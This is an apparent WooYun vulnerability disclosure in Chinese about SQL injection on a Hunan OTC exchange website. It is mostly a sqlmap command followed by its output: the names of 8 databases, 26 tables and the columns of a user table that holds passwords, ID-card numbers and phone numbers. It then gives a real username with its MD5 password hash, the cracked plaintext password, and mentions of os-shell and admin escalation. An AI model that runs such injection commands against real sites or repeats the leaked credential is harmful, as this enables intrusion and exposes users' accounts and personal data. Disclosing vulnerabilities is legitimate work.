WooYun.org

随便拿个用户名密码吧
sqlmap -u "http://**.**.**.**/User/JudgeUserName.aspx?username=test" --dbms"Microsoft SQL Server" –dbs
获取到的数据库信息
available databases [8]:
[*] HNOptionsExchange
[*] hunanotc
[*] master
[*] model
[*] msdb
[*] ReportServer$GSQL0_165
[*] ReportServer$GSQL0_165TempDB
[*] tempdb
获取到的表信息：
Database: hunanotc
[26 tables]
+---------------------+
| BusiType |
| EnterpriseFieldShow |
| EnterpriseInfo |
| EnterprisePhotos |
| Ms_Regions |
| UserLogs |
| admintype |
| article |
| articletype |
| authorizationrules |
| bbs |
| busiprocess |
| hangqingbobao |
| hq_info |
| sendmsg |
| sitelink |
| slider |
| sysconfig |
| userauth |
| userauthinfo |
| userdingxiangxinxi |
| userdownload |
| userinfo |
| userinroles |
| usermessage |
| usertype |
+---------------------+
获取userinfo表字段信息
Database: hunanotc
Table: userinfo
[23 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| address | varchar |
| answer | varchar |
| company | varchar |
| createtime | datetime |
| creator | varchar |
| email | varchar |
| id | int |
| ifadmin | int |
| ifapproval | varchar |
| loginnums | int |
| mobile | varchar |
| modifytime | datetime |
| modifyuser | varchar |
| pwd | varchar |
| question | varchar |
| realname | varchar |
| remark | varchar |
| sex | varchar |
| userid | varchar |
| useridcard | varchar |
| username | varchar |
| userselecttype | varchar |
| usertypeid | int |
+----------------+----------+
随便获取下用户名密码吧，一堆账户密码爆出，太多了，没有爆完，随便举个例子吧
tyme126 004bd16c4a27e11be8d1d9e9d13d94c9
密码算法为MD5

求解密码为126126
登录下，看看用户信息

可以获取ADMIN的MD5值，可以os-shell,剩下的获取SA密码，admin权限都不是什么难事，懒得进一步搞了。